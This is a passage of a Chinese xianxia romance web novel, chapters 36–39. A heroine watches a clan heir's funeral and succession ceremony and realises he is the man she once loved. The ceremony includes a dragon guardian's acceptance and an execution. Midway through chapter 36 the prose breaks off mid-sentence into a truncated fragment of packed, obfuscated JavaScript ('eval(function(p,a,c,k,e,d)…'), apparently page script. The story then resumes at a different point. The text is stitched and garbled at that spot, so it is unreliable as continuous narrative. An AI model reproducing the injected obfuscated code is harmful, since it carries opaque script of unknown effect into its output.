朝黎不否认:“我猜的,桑宗主与诸位族老前些日子去司城家去得密了些,回来之后愁云不展,也多有密谈,便觉得几乎不离了。” 慕丹青突然想起来什么,看向巫寻月:“巫寻月,你是不是还没见过司城世子啊?” “是啊,”巫寻月正低头细察磨成的粉质,并未多上心,“有一回见了个背影,就是世子出发换防那天。” 朝黎积极告诉她:“那你这回能见着了,从学校往司城家宗祠看,我们问心阁可是最好的位置。” 36. 第 36 章 36. 的确,问心阁观景台飞檐而出,正对司城宗祠所在的山头,视线全幅,一览无余。 但相比世子本人,巫寻月却是更注意到:“你们说的题主,可是要由一位德高望重的尊长用朱笔点在牌位上,才能将牌位请回家中?” 慕丹青说:“是啊,梅校长之尊崇,长隐洲无人能及。前些年我太爷爷过世也是请的梅校长担题主之责,家里还怕我们慕家位份不够,请不动校长呢,可校长仁厚,礼待世族,这也是大家都那么敬爱校长的原因。” 巫寻月心生好奇:“这种规格的葬礼礼制,我还没见过呢,想必是又隆重又讲究,需得进行很长时间。” “礼制再高,葬礼总归是氛围悲戚,也看得人心里压抑,”而后慕丹青眉头一挑,神往地说,“不如期待一下大后日的继位典吧,五大宗族宗主位交接,这可是百年也难得一见!如今其他四位宗主都还康健雄浑,若无意外,往后一百年内也没有这场面了!” “是啊!”朝黎也跟着激动起来,“我都想象不到那得是多么隆重的场面,也未曾听说究竟是何礼制,世子得穿成什么样啊!” “并且此等盛事,是否也要请诸多名门到场观礼?大灵师或许也未可知呢!” “大灵师是不好说,但最起码四位宗主是一定会到场的——那可真是特特特大场面啊!” 两人越说越激动,却无人能真的想象出来,那会是什么样的场面。 就连世家大族甚至宗门旁支也神往的场面,可想是多么轰天动地的盛事,巫寻月自然也跟着期待了起来。 从这一刻开始的神都学宫,无论校园里的任何角落,无论任何时间,都只剩下了司城家葬礼和司城凛继位这一个话题。 这两日已有人纷纷四处踩点,医疗系的问心阁地势较高,又有些偏远,竟也接待了一波又一波同学,但最多的还是医疗系自家人——平日里鲜少来此处的那些人,突然不约而同地想起来自己还有这么个据点了。医疗系全年级四十多人,若全部都来,那观景台怕是也得塌。 到了第二十一天的出殡日,早晨的食堂里所有人都在问同一个问题——司城世子何时抵达宗祠?自然有世家的同学早已拿到日程表,寅时启殡,于司城府中移灵、摔盆;辰时发引上路,仪仗开道,孝子执绋,自司城府出,一路接受神都各府路祭、百姓送行,走走停停,此环节最为缓慢。 之后到了城门,大部分送行宾客于此处停下,向灵柩作最后的揖拜,而后辞别,只余亲族挚友继续陪同送往墓地。 未时该至宗祠,于吉时入土,以朱笔点灵。之后到了酉时或再晚些,新家主将于府中设答谢宴,酬谢今日前来送殡的宾客,同时昭示新家主的身份,告知诸友明日继位典一应细节。 而未时,正是午间休息。闻此消息,全校沸腾,如此便无需翘课观摩了。 一整个上午,无人沉心听课,甚至老师们讲课讲着讲着,见他们多半心不在焉,索性就跟他们一同聊起了这桩盛事。 午间一下课,许多人为了占个好位置,连饭也不吃,直冲踩好点的位置。因为慕丹青没课,所以她们一早说好了,她先去问心阁占位,巫寻月和朝黎下了课打包些吃食再过来。 对于是否真如此夸张,巫寻月将信将疑——她实难想象问心阁那个平时无人稀罕的小破地突然挤满了人是什么光景。 因此,朝黎在食堂催促她时,她还有些不紧不慢。俩人往问心阁走时午时已过半,到了稍近一些,就已经听到七嘴八舌的声音传来。巫寻月面露惊异,朝黎只说:“你看吧!” 她们走到问心阁前,果然观景台上已满了人,三三两两或凭栏或席地而坐,大部分都是医疗系的同学。 慕丹青占据着最佳视角位,冲她们挥手:“这里这里!” 距离未时还有三刻钟,有人从山下急跑上来,匆匆忙忙道:“来了来了来了!司城家的送葬队伍已经到山脚下了!” “哪里哪里?能看见吗?” “山脚树荫遮蔽,现在还看不到,看见那条路没,那是上山之路,盯着那里就行!” 为了弄清楚究竟能看得多细致这个问题,早已有同学以遁术飞跃过去,两相对望,结论是——能将模样看得真切,若是相识之人,定然一眼辩出。 总之,比在垩山之中,巫寻月遥望那个人要近些。 时间分秒接近,巫寻月已经完全跟上了气氛,专心期待司城世子究竟是何模样了。 自她入神都以来,对于这位世子,她几乎听尽了所有顶级赞美之词,世人对他太过偏爱,恨不得将所有美好的词语都用在他身上。 ——那他究竟长什么样子呢? 终于,山巅入口处,隐约出现了动静。 “——来了来了!”随着几声尖叫,所有人都聚精会神,目不转睛起来。 走在最前头的是两头灵兽,形似人参,长人手足,有两人之高,是世代在此守护司城宗祠的山神。之后就是引导队,一路抛撒纸钱,接着是仪仗队和诵经队,举旗幡与伞盖,吹奏哀乐,念诵经文。 接着,便是灵柩了。灵柩由两头渡冥麟拉着,传说这是一种生于两界的灵兽,形似麒麟而生牛首,通体半透明,犹如星河流动,幽光闪烁,能通冥语,安魂灵,引导往生。 两头渡冥麟之前,还有一人,身着重孝,于灵柩前执绋。 巫寻月刚一定神,就有人喊了出来:“——那是世子!继承人执绋,那就是世子!” 只是,为灵柩执绋需躬身步行,孝帽遮面,并不能看见那人的面目。 已有人哀怨道:“好可惜啊,都看不见世子的脸……” 有人提醒道:“倒也不要紧,世子今日必是悲痛沉重,心神不宁,待明日他着华服到此举行继位典,一定是能看清的!” 虽看不见司城世子之容,但丝毫不影响他的身影牵动着所有人的视线。一行人浩浩荡荡,终于到了山门,步入宗祠院落。 梅晏晷早已等在那里,队伍行进,前面的引导仪仗等陆续向两边撤下,只司城凛径直朝前。之后下葬,覆土,一片恸哭。同学们还认出了司城迦染,她为父亲棺椁覆土时,哭得险些昏厥过去。 下葬之后,众人归位,梅晏晷提步,于香案前用朱笔点逝者牌位,由“王”变“主”,此笔落成,象征着将逝者的灵魂请入牌位,从此有所依归。世子将会带着这块牌位回到府中,供奉于府中祠堂。 仪式礼成,全程不见司城凛之貌。 司城家队伍陆续撤离之时,也到了下午的上课时间。问心阁的人撤得差不多了,慕丹青与朝黎在回顾葬礼细节,恍觉巫寻月已沉默许久,慕丹青转头一看,她正游离九天。 “寻月你说是不是——”朝黎也看了过来。 巫寻月如梦醒般回神,只寥寥一笑。 下午还有课,别了慕丹青,巫寻月与朝黎一同去了课室。医疗系人少,老师对他们的面孔都很熟悉,若是翘课基本是一目了然,不过要真想翘,只偶然几次的话,老师也不大管,毕竟修炼这事全凭自觉。 但这样,巫寻月都不在乎了。哪怕翘课会有什么很重的处分,她也不在乎了。 迈入教室之前,巫寻月突然疯了一样往回跑,朝黎在身后喊她,她仿佛没有听见。 ——司城世子的身形,太像那个人了,太像太像了。即便看不见他的脸,即便这样庄重的仪式他没有任何多余的小动作,但就是——太像太像了。 因为,她就是这样在那山谷花海之中,遥望了他两年。 巫寻月一路御风下山,根本没考虑过要怎么做,怎么说,根本没想过会有什么后果,她等不了了,一刻也等不了了。 从司城宗祠回神都只有一条路,势必要经由万映湖畔,过都前驿,再往神都。送葬队伍前行缓慢,巫寻月从神都学宫用遁术下山,定然是赶在前头。 可她人才到山门,天空中不知从何处急现一道七彩焰火,来势汹汹,直奔她来。巫寻月一惊,反应迅敏,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅见蹊一番言辞冠冕堂皇,却也并无纰漏,那乌金鹍自然也不是专程为她而设,的的确确是梅家召出为司城宗主护灵的。 可这一切实在太巧了——她当然没有忘记那封推荐信。 巫寻月来到断崖,极目远眺,却只见云海延绵。 她渐渐攥紧了手心。 ——明日,明日司城世子还会再来,举行继位典。这一次,她等着看看到底还有谁会出来阻拦她,阻拦她见到他的真面目。 从山下回来之后,巫寻月没再去上课,又怕朝黎或慕丹青来找自己,也没回宿舍——慕丹青见她神色有异一定会追问,她不想回答,也不想找借口或扯瞎话。她独自去了后山,仲春冬末,林子里还有些残雪,几头小鹿在雪泥间寻找些种子或干草,见人来了,抬头望了一眼,又事不关己地低头觅食去了。 动物之间保持着最原始的猎食关系,灵兽也不例外,学校里住着许多食肉灵兽,鹿也在他们的食谱之中,可这些普通小鹿聪明着呢,知道这些灵兽被人圈养并不自由,也就无所顾虑地在山里游荡采食了。 巫寻月到兽园拿了把胡萝卜,还未走近,那几头小鹿闻着味就踏着轻快的小蹄子过来了。它们抢食着急得很,巫寻月才将一条萝卜举起,小鹿翕动的嘴就快贴到她脸上了。她只好将手抬高,而这一举,就露出了戴在她右腕上的戒断环。 巫寻月的目光落在戒断环上,停滞住了。又是将近两年过去,这两年里,无论是谁得知她有这灵器,都显得十分惊诧,羡慕不已,所有人的反应都在告诉她——能得此灵器者,绝非凡俗。 巧合实在是太多了。 可如若这不是巧合,那么说明,狄乐凰早就知晓了他的身份,且证明了,是他属意狄乐凰为他隐瞒身份。那么狄乐凰归来后对她有意无意的回避和歉疚,就说得通了。 巫寻月不敢再往下想。天知道,她比任何人都希望——他不是。 37. 第 37 章 37. 巫寻月一宿未眠,拂晓时分便起——此时也正是世子起身沐浴更衣之时。她去了问心阁,立于观景台之上远眺司城宗祠,那里昨夜通宵达旦,各种照明类灵兽盘桓上空,各路人马忙前忙后,热火朝天。 事实上,司城宗祠自三日前就一直有人驻守,九部令也于昨日夜间入驻守卫了,他们里里外外将宗祠检查了一遍又一遍,就连地上的石子也要翻开查看。 消息已经确凿,上午的司城家继位大典,五大宗族嫡系将举家到齐,一同观礼,献上祝福。原先大灵师也有意要来,虽说并不需要额外安排安保力量——全灵族最强封号灵师齐聚,真有点什么事到底是谁保护谁?但众人与会时,司城凛提出继位典当日神都学宫在上课,若风头过盛,恐扰学校不宁,五大宗族齐聚这热闹就够看的了。 梅晏晷当时听闻此言,忍不住笑了笑——光你司城凛一个人,就足够让神都学宫上下不宁了。 所以,最后的决议是五大宗族嫡系到场便可,其余十一令与天听阁等世家名门,待到继位典之后的礼宴上,再向司城凛表达敬意。 消息传到神都学宫,已无一人有心上课练功——包括所有教职工在内。 ——我嘞个老天爷,五大宗族嫡系!也就是宗主及其家眷,各府世子、郡主皆在内!那是什么此生仅此一见的大场面!怎能不激动! 自然,千万年的灵族史中,这也不是第一次——司城家易主四十七任,继位典也就举办了四十六次,五大宗族生死与共,若非处在特殊时期,自然不会缺席。 所以司城宗祠前建了一方极宽阔的场地,就是历史上用于迎接各府座驾和队伍的。 对面山头此刻五光十色,亮如白昼,充斥着各种巫寻月看不懂的灵术,没多久她便回身进了屋内,坐下开始泡茶。 朝黎说得真是不错,医者多有禅意,她不敢妄称,可也总觉得自己心境变了。 她取出青墨团茶,先将其置于文火上炙烤,冬日凛寒,清冷之气间,渐渐弥散开一股被唤醒的、带着暖意的草木馨香。待茶饼变得松脆,便用棉纸包起,置于茶臼中轻轻捣碎。捣茶之音清锐断续,不紧不慢,带出阵阵茶香,犹有安神之效,将她心中若扰,一并渐渐捣散。 之后罗茶,倒末细筛。心神烦扰,则气机逆乱。制茶之理如是,需得在一摇一晃间心无杂念,全神贯注,才能筛出如尘细粉,而如此渐进,自然便万念俱寂,神气自收了。 最后点茶,待一碗乳雾浮面的茶汤置于眼前,她静看那热气袅袅升腾,融入微光,一时间竟有些恍惚,忘了自己为何在此,忘了今日所为何事,忘了心中因何纷扰,忘了一切。 她忽然困了,困得很平静,于是她就着榻卧躺下,蜷缩在斗篷之中,沉沉睡去。 唤醒她的人是朝黎,他们今天上午第一节有课,原是不用来此的,可朝黎昨天落了东西在这,便赶在上课前来一趟。 巫寻月恍惚地问:“什么时辰了?” 朝黎说:“离上课还有不到两刻钟。” 那便是辰时二刻,司城世子该在府中祠堂祭祖了。 朝黎催促她:“快起吧,颜洄老师的课,你最积极的。” 颜洄便是控术老师,她能不积极吗。但,巫寻月说:“我不去了。” 朝黎很诧异:“你干嘛?” “我就在这里……等人。” “谁啊?”朝黎自然也记着今日继位典之事,随口一诌,“司城世子啊?噢不——要改称司城宗主了,昨日才远远见了身影,便让你如此魂不守舍了?” 司城宗主。是啊,从今日起——确切来说,从二十二日前起,他就已经是司城家第四十七任家主了。 巫寻月似是没睡醒,没心思应承她,又说:“我不去了,你自去吧。” 朝黎一下就泄了气,说:“你不去我也不去了,控术我多学也是无用,便陪你在这等你的司城世子吧。” 今日继位大典,制式将比昨日的葬礼更为隆重和盛大。司城家跺跺脚,全灵族翻天覆地;司城家只是稍稍喘气,长隐洲便要刮起一阵狂风暴雨。 尤其是这一任——二十二岁封灵,灵族史开天辟地第一人,全族对他的仰慕,已是对他的每一次呼吸,每一次抬手,都不忍错过。 当然了,最主要的还是因为他帅,帅惨了,帅得惨绝人寰。 巫寻月忽然就问:“司城世子,今年是二十四岁吗?” 朝黎想也不想就答:“是啊,司城世子比我家世子小十五岁,我可记得。” ——又是巧合,那年那个人亲口对她说:我大你七岁。便是二十二,而今年,正是二十四。 从前她从未在意司城世子的一切,可如今,桩桩件件,胆战心惊。 两人没说几句话,外头就传来了有人说话的声音,同学们今日来蹲点的比昨日更早了,巳时准时启动继位典,所有人是要提前到达的,更何况五大宗族人数众多,声势浩大,不更提早怎能有序准时。 离吉时还有半个时辰,观景台已满了大半人,巫寻月仍是占据最佳位置,这次无人为她占位,她一过来,在那里的人就主动走开了——跟太美的人离得太近,总忍不住要偷看她的仪态举止,就连她一次眨眼都会引起注意,所以一般人都会主动避让,这大概就是恃靓行凶。 最先抵达的是桑家座驾净尘鼋,其型如龟,通体呈现青玉色泽,龟背纹路间灵纹若现。净尘鼋自神都方向飞来,所到之处荡开净水涟漪,一前一后两头,分别拉一座车驾。 除了司城家以外,医疗系学生心中最仰慕的神明自然就是桑家,因此净尘鼋一出现,问心阁外的欢呼声浪便一阵高过一阵,完全控制不住。 朝黎告诉巫寻月:“我家宗主与夫人育有二子一女,加上随行侍从一共十人,此次从简出行,毕竟是别家的继任典,总不好排场过大,挤占场地。” 巫寻月想起在狄家见过的白泽兽,心生好奇,顺着就问:“那你家镇宅灵兽是何神圣?” “乃桑府湖中一朵大莲花,”朝黎神秘兮兮地冲她挑眉,“此莲四季不败,灵气四溢,若桑府遇险,才会显露真身,变为一朵足够把整座桑府包围的超级大莲花。” 下一个到达的是空相家的万岳象,万岳象体型庞大,宛如行走之山,四条象腿如擎天之柱,每踏一步都震出沉厚地鸣,烟尘阵阵。车驾立于其背,貌似行辕,稳固无极,为空相家工匠的匠心之作。 空相家同样是一前一后两座车驾,这是巫寻月最不熟悉的五大宗族,只知其统管城防与基建,与一部令打交道较多,空相家的郡主,正是一部令副座。而郡主为空相家嫡长女,后面有个弟弟,灵族立嗣不论男女,因为十八灵宗之中有男也有女,嫡长为女子,下一任空相家主,便是郡主了。 之后是狄家的镇虚鳐,也是两座车驾,狄乐凰人气不输,神都学宫山间的喝彩声此起彼伏。 果真像之前狄府侍女所说的那样,此次载车出行的镇虚鳐可比之前接送巫寻月的大多了——大很多很多!简直是母鳐与宝宝鳐! 一旁有人说:“下一个该到校长了吧?总不能比司城家来得晚。” “校长一家怎么迟迟不到,莫非是从学校出发,离得越近越是有恃无恐?” “该不是,校长这几日都不在学校,梅老师也不见人影,再说了,总得回府接上夫人和二公子一同前来呀……” 在同学们一片笑声之中,梅家的霁月猊这才姗姗来迟。霁月猊果然自神都而来,为一头通体发蓝的雄狮,鬃毛为流动的蓝色灵纹,双目却如金珀般闪烁。 毕竟是校长,排场怎能输阵,整座神都学宫爆发热烈欢呼,甚至风头盖过司城宗祠间的礼乐,声压久久不减。 山门外自有司城家人接应,前三家已经入院列席,霁月猊停在了山门外,后车驾的侍从先下,将前头的梅晏晷一家请了出来。 梅晏晷有二子,长子梅见蹊虽看起来有些痞气,但终究也已长大成人,颇具世子风范,次子却仍是个稚童,看起来未到学龄,难怪不在神都学宫之中。 梅见蹊当然已经看腻了,大家多是关注二公子一些。朝黎凑近巫寻月,说:“梅家二公子也是个顶级天赋者,年方八岁,就已自己悟出不少灵术,听说校长为他试灵,隐约已有四重灵,待到三年后入学,少说也是个五重灵了!” 巫寻月也在观那二公子,揶揄道:“二公子才小小一个,看起来倒是比梅老师稳重些。” “谁说不是呢,这俩兄弟真像是反过来了。” 四大宗族已聚齐,正于宗祠内寒暄。狄乐凰在与桑家郡主说话,朝黎和慕丹青都说过,桑家郡主姐姐温婉和善,为医者仁心之典范,世族女子都喜欢与她交心。 巫寻月上一次见到 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离巳时还差一刻钟,突然有人朝天空的方向喊:“是烈火驹!世子来了!” 所有人一同望去,天空中出现了一群奔腾骏马,行云踏雾间喷出阵阵火焰,它们看似散乱,实则错落有致,严格遵循阵型,排成长列,拉着一辆又一辆车驾,其中一座靠前位置的车驾格外庞大,重檐庑殿顶前出抱厦,纯金覆顶,环以朱栏,制式奢华之至,一眼便知此为最最至尊之人座驾。 不止是问心阁,整座神都学宫的山头,都爆发了出了排山倒海般的惊叫:“哇啊啊啊——”昨日葬礼不宜喧嚣,今日此景百年不得一见,可是把所有人都憋坏了。 巫寻月猛地一下攥住慕丹青的手,慕丹青刚要叫唤,转头看见她竟是一脸惶然,甚至带有一丝……恐惧,慕丹青越发觉得不安,可见人多,只好先紧握住她的手。 烈火驹飞腾极快,却行稳如流,眨眼便从天边到了近处山巅,缓缓降落,稳当地停在了司城宗祠之外。 九部令部众列阵以待,只见一身着玄青色劲装官服男子疾步上前,于重檐庑殿顶车驾前停下,挺身立正,开始行三跪九叩礼。 此礼隆重而漫长,有同学介绍道:“这是九部令副座,千山昙现。” 千山昙现在向车内之人汇报安保检查情况,很快,他便得令退下,转身入了列。 那么,该到重檐庑殿顶车驾内之人落驾了。等候在旁的侍从纷纷上前,架车梯,举华盖,两位侍从分列车门左右,一同行礼之后,以双手启开车门。 巫寻月未敢眨眼,甚至已然不会呼吸。 最先出现的是一顶黑龙晶凌云金冠,其发完全束起,额前不留一丝碎发。之后,玄端广袖随人躬身而出,悬垂着朱红蔽膝的下摆也紧随其后。随着学生们一声声推高的叫喊,那人已完全从车驾中步出,在侍从的搀扶之下,以一身庄重恢弘的玄端广袖长袍落定在地。 在他抬头的那一刻,整座神都学宫的尖叫声达到了鼎峰。 可巫寻月什么也听不见了。那张脸,那张她魂牵梦萦、日思夜想的俊颜,就这样猝不及防地,出现在了全灵族最最尊贵的司城世子身上。 从什么时候起她已经开始自欺欺人了呢?她真的没有想过这个真相吗?是从知道司城世子的术法意象、年纪、性情、外貌等等都与那个人吻合开始?还是从她逐步了解灵术造诣,已然明白那个人的灵力高深得位及巅峰开始?又或者是在狄乐凰从边境见了司城世子归来之后那一番言辞闪烁之时?还是……就连他留给她的唯一信物罡灵坠都珍贵得令人惊叹,而司城家执掌灵器制造这样的桩桩件件巧合堆积开始…… 可她从来,不敢往下去想。 这就是他给她的答案吗——“等你来神都的时候,自会知道。” 他一定要以这种至高无上的方式,在这样庄重无极、百年罕见的仪典上,以万金之躯、万人之上的高傲,要她知晓他的身份。 这就是他属意所有人对她隐瞒的意图吗?她只能以这种方式,亲眼见到答案。 ……他叫什么名字来着?王公贵女名讳不可直呼,往日大家都以姓氏加以尊称,也只有至亲要好之人可唤其名。所以,他的名字是—— “司城凛。”巫寻月说了出来。 38. 第 38 章 38. 听到巫寻月直呼世子名讳,惊得慕丹青急速回头看她,见到的却是她如临末日、一片死寂之相。慕丹青忍不住问:“怎么了?有何不妥?” 巫寻月很平静,却仿佛是风暴来临前下沉气流所带来的异常平静,甚至眼睛也未眨一下,直盯着对面山头,一言不发。 司城凛已完全立定,仆下正在为他整理衣着,长约一丈的礼袍尽展,玄色缂丝之上,一头以金、银、宝蓝丝线缂织出的巨龙于祥云纹间盘绕而下,龙首威肃傲视于背部,祥云纹理以司城家训细密织成,下摆尾拖处海浪翻涌,龙尾隐现其间,整幅图案厚重繁复,宛如浮雕。 作为宗门子弟,朝黎有心为她们说明:“那是司城家图腾负屃,传说的龙之第八子,其母为青龙,因此负屃是所有龙子中最像龙的,其雅好斯文,却战力极强,是五大宗族中最强的镇族灵兽。” 负屃为五大宗族中最隐秘的镇宅灵兽,慕丹青对其也知之甚少,问:“那龙尾处的海浪纹样,可是象征司城家出自凌海城?” “没错。” 纵观五大宗族座驾,另外四家皆是庞然大物,唯司城家的烈火驹稍显秀气,不知道的,还以为司城家在宗门间处于弱势呢。 能够驾驭得了神龙之子作为镇族灵兽,又御用烈火驹这样秀气的座驾,司城家还真是……以雅驭权,文武兼修啊。玄端如沉夜,负屃守族魂,放眼整个长隐洲,也再无旁人能与龙之第八子相配,胆敢将其驭为家族守护神了。 相近处,同学们同样议论纷纷:“那日世子戍边归来我也去迎了,见他肤色比今日要黑不少,胡须也未剃净,十足的军旅将士模样,今日却是神气恢弘,看起来更是俊美之相!” “世子也太高了吧,我感觉我只有他的广袖那么长……” “平日世子头发半扎半束,还有几分清俊的少年侠气,今日束发戴冠,看起来完全变了一个人,看着怕怕的……” 仪容整理完毕,该入宗祠了。四位礼官左右引导,司城凛跟随着提步而入,行走间,衣袍暗金流动,幽光溢彩,好似于沉静深夜之中蕴藏着无尽力量。 司城宗族长老们已于正殿前各司其位,司城凛在对面山头学生们的高涨欢呼中步步向前——那边自然是有礼乐的,但或多或少也能听见。直至他停下,那些声音也跟着平静下来。 巳时撞钟响起,继位大典正式开始。 整个仪式流程复杂且漫长,每一步都极其庄严谨慎、慢条斯理。最后,族老将宗主印玺与权杖等昭示权力过渡之物交于司城凛,他手持印玺权杖,缓缓转身面向众人,接受全族乃至全天下的朝拜。 宗祠四周钟鼓齐鸣,声震九霄,好似在昭告天下——日月已改,万象更新,从即日起,灵族之天命系于他司城凛一身,休戚与共,至死方休。 这一刻的司城宗祠与神都学宫,格外肃静,似乎每个人都他震慑住了,又或者是,大家终于逐渐意识到,身为世子的司城凛还算是一个与他们年岁相近的、可以当做茶余饭后的谈资一番说笑的人,而即位为司城宗主的他,俨然变成了一个不可侵犯的权威,一个凌驾众生的法度,一个无人再敢直视的日辉。 司城凛终于就这样真真正正地走上了云端,成为了最最遥不可及之人。 突然间,起风了。这风不知从何处起,初时只略微掀动众人衣袍,可又在顷刻间,化作了呜咽的狂澜,引周围数座山头所有树木猎猎作响。而刚刚还澄澈的天际,转瞬已被浓云墨雾遮蔽,紧接着,道道闪电如龙蛇游走般乍现,闷雷轰鸣自九天之上滚过,天地共振,仿佛一种神圣的召唤…… 这一刻两山之间,完全是两种截然不同的画风——灵师满级巅峰团与灵师新手村萌新,宗祠那边一派镇定,无人多嘴,无人乱动,而神都学宫这边……到处都是唧哇乱叫。 就在这片令人战栗的混沌之中,那翻涌的云涡最深处,有什么东西……醒了。 厚重的云层如受敕令,肉眼可见地向两侧急速退散,随后,似是庞大巨兽的口鼻从云涡之中探出,那巨兽皮肤褶皱如干涸大地,只见他鼻尖翕动,似在探知谁人气息。 身旁有人惊惧地喊:“负……负屃?是司城家镇族灵兽负屃!” “这真的是灵兽吗?会不会是怪物!它究竟有多大啊!光一颗头颅就如此恐怖!” “你们看那云间!太可怕了……根本看不到尾巴在哪!” 随着龙首探出,乌云之中,负屃蠕动的龙身隐约可见,片片鳞甲厚如岩石,而那双如地狱之门般幽怖的龙眼,自古老岁月而来,穿透时空,落在了高台中央那道昂首挺立的身影之上。 下一刻,龙头昂首,一道龙吟破空,响彻大地。这声音并不暴烈,厚重犹如太古钟鸣,穿越山海,仿佛大地山脉所发出的喘息。 阵阵余音之中,负屃庞大的身躯开始于云间急速涌动,待它盘踞的龙身尽展竟要等上数十秒,龙身于空中盘桓数圈之后,在所有人震撼的目光中,那高傲的龙首缓缓自云端沉下,穿过稀薄的流云,直奔宗祠中央而来,最终赫然悬停于高台之前,与那一身玄端龙纹长袍之人平直相对——这场景太过震撼,若是那人端坐于龙鼻之上,也不过如一只龙眼般大小。 司城凛没有丝毫犹豫,提步上前,在司城家千万年列祖列宗、全灵族始祖之后的注目之下,缓缓抬起右手,将掌心覆于那冰凉、坚硬、干裂的龙额正中。 随后,金光自他掌心四散冲出,似乎在一人一龙之间烙刻了某种印记,风卷气涌将司城凛簇拥起来。数息之后,金光渐敛,司城凛将手收回,负屃发出一声低沉呜咽,新之缔约已成,这头守护了司城家千万年的祥瑞之兽,完成了对新主的承认与服从。 即便这场面百年不得一见,可从负屃之神态举动,所有人都已然明白了,这是负屃认了新主。 巨大的龙眼缓缓一沉,似是在向司城凛颔首,而后,它退后收回身躯,重新没入高空,最终隐没于渐渐合拢的云层之中,不留任何踪迹。 漫天风雷随之止息,乌云散尽,和煦日色重新普照,天穹湛蓝如洗,仿佛方才那史诗般撼动天地的一切,只是一场集体幻梦。 司城家族老以阵法传音,宣告负屃认主,继位礼成。 神都学宫上下一片欢呼,慕丹青凑近巫寻月耳畔,说:“接下来该世子——抱歉!该司城宗主首次发言了。” 巫寻月自始至终一言不发,默然凝视。虽然听不见,可她也想看看,继承了宗主身份的司城凛首次发言,该是什么样子。 司城凛于礼赞声中冷峻而定,目光沉静却锐利,并未有多余动作,即刻便开了口。 同学们纷纷猜测他会说什么,朝黎说:“新主即位,多会颁布三令,此为法随、恩泽、雷霆,以建立威信,收拢人心。” 一位同学搭话:“原来如此,可是不知世子——抱歉!是司城宗主如此年轻,会设立如何法随,又会如何施以雷霆啊?” 没记住司城凛已经是宗主而不是世子的,可不止一两人,也不止无知学生。 简短作了几句开场,司城凛接着说出了法随令:“从今日起,法随令有三。一,废“司城”令牌,改“凛”字令,见令如见本座;二,神都内外司城家所有商铺管事,凡遇不公或有难处,皆可越级上奏,持“凛”字令直禀于本座;三,司城家所有商铺管事,限你们两月时日清查账册,查漏补缺,凡主动呈报、补全亏空者,既往不咎,若自查并无纰漏——便由本座亲查。” 话音未落,底 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司城凛中间留白不久,于高台踱步间,继续道:“这恩泽令,同为三条。其一,所有商铺,免除一年租税;其二,神都之外商铺,用度补贴增至三成;其三,本座戍边两年,深知戍边辛苦,所有戍边部众,薪俸补贴增至神都本部两倍,与神都本部同步调整。” 此言一出,在场哗然。 梅见蹊着实一惊,好笑又羡慕道:“真有钱啊……这狄家也未敢如此大方吧?” 桑家与空相家那边,也都与家人私下评议道:“这咱家可是效仿不起呀……” 今日来的多有司城家主事,他们的表情可是更热闹,有高兴的,有吃惊的,有质疑的,也有颇为担忧的…… 而隔空相望的神都学宫这边一句也听不见,都快急死了。虽听不见,也不影响他们未退一人,毕竟清澈而愚蠢的学生们对这些复杂的政策哪有那么多见地,不过是想欣赏司城宗主睥睨众人的王霸之气罢了。 这些具体内容等仪典结束自会传扬天下,可很快接下来司城凛的举动,就要让所有人即便听不见也能看得懂了。 眼见宗祠那边,有一人身着囚衣,由九部令部下押解而出,送到了司城凛面前。 司城凛冷冷地睨了那人一眼,开始道最后的雷霆令:“查,前掌事阙甲,色令智昏,中风族胭脂之计,私盗灵器交予风族。灵器已失,而后患无穷,罪无可逭,其行背弃我族,其罪不可宽恕——杀。” 这一道雷霆令下,带着绝对的平静与决绝,压迫感袭向场下,场下反倒不似前两条般有所反应,全都噤若寒蝉。 而神都学宫这边,反应却是空前激烈:“——什么情况!司城宗主不会要杀了他吧?” “杀了?现在?怎么杀?不会是司城宗主亲自吧……” “司城宗主……杀人……这怎么能……” 似乎没有人能够接受,在他们心里那个冠绝天下的天之骄子,要在他们对他最为仰慕的这一天,这一刻,在他们面前杀人。 他们似乎也还未接受,他们来神都学宫,正是要成为那样的战士,他们走出神都学宫之后,也会成为那样的战士。 巫寻月就这样看着司城凛像是变成了一个她完全没有见过、不曾认识的人一样,他甚至不用灵术,拿了把剑,用最原始、最直接也最显著的方式,一剑穿胸,鲜血喷涌,那人当即倒地,一动不动。 “啊——”有同学当场被吓哭。 巫寻月不必再看了,一言不发地转身,向人群之外走去。 慕丹青当即追了出来,神色焦急地看着她:“寻月?寻月?你怎么了你别吓我啊……” “寻月!寻月——”慕丹青望着就这样一声不吭钻进风里的巫寻月,凝重地皱起了眉。 39. 第 39 章 39. 慕丹青很怀疑巫寻月已至九重灵,因为——她现在追她竟有些吃力了,甚至看不清她遁形时的身影。 继位大典行到此处已是午间,可后来慕丹青找到巫寻月时,已是快要日落。 巫寻月在山的另一头,背着司城宗祠的方向,她坐在一条溪流边上的水轩上,溪流冬日冰封,此时尚未融化,周遭静谧得很。可她无神地盯着前方,对来人步履的动静也毫无反应。 慕丹青远远地瞧见她之后便没用遁术,沿着山间石砌步道下行,徐徐来到她身边,语气虽是一贯的侠气,却也难掩几分担心:“巫寻月,你干嘛呢?” 巫寻月不答,慕丹青到了她近处,才发现她双眼红肿,脸色惨白,一惊,声音也变了:“怎么了?还哭了?” 巫寻月仍是一言不发,甚至很久才眨一次眼。慕丹青开始细细回想,道:“昨日起就觉得你不对,有烦心事未休息好?今日又强撑陪我们看完继位典,可累着了?” 慕丹青以为她是因其他事所扰,才致今日无心观看司城家继位典的,可与她们二人说好了又不好推掉——慕丹青当然不会以为这些与司城凛有关,她怎么敢? ——没人敢想,就连巫寻月自己,也从未敢想。 “可我实在想不出来,是何人何事,竟还能让你哭这么狠,”慕丹青皱眉苦想,“你这几日也并未见什么特别的人,或者去了什么特别的地方啊……莫非是很早之前的事,那又为什么此刻突然爆发了。” 慕丹青思路对了,可无论如何,也与司城凛联想不到一处。 巫寻月突然轻轻开了口:“丹青,我没事,只是需要一些时间。” 慕丹青欲言又止,只好问:“那你可还需要我陪你?” “不必了,你先回去吧。” “……就要天黑了,此处荒僻,我一路过来也不见一只宵明雀,你可会些能用以照明的术法?” “会的,你教过我,放心吧。” 慕丹青便无话了,虽不放心,也只好离去了。 慕丹青一走,巫寻月豆大的眼泪又砸了下来,气温寒冷,很快就凝在了她的脸颊上。 